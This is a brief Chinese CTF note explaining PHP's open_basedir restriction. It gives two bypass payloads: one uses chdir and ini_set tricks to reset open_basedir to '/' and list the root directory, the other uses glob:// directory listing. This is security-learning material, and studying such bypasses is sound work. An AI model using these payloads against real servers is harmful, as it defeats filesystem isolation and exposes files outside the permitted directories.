简介
open_basedir用来限制用户可访问的目录。访问当前/var/www/html下
访问/var/www下
这就限制了我们能否访问其他路径。在CTF中。也就限制了读取其他目录下的Flag文件
Bypass
方法一:
ini_set()+chdir()
payload:
code=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
具体的漏洞原理就设计到PHP底层了。。暂不分析。
方法二:
直接给出payload
if%20(%20$b%20=%20opendir("glob:///var/www/*")%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20"filename:".$file."\n";}closedir($b);}
当global://查看的目录
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
echo $f->__toString()."<br />";
}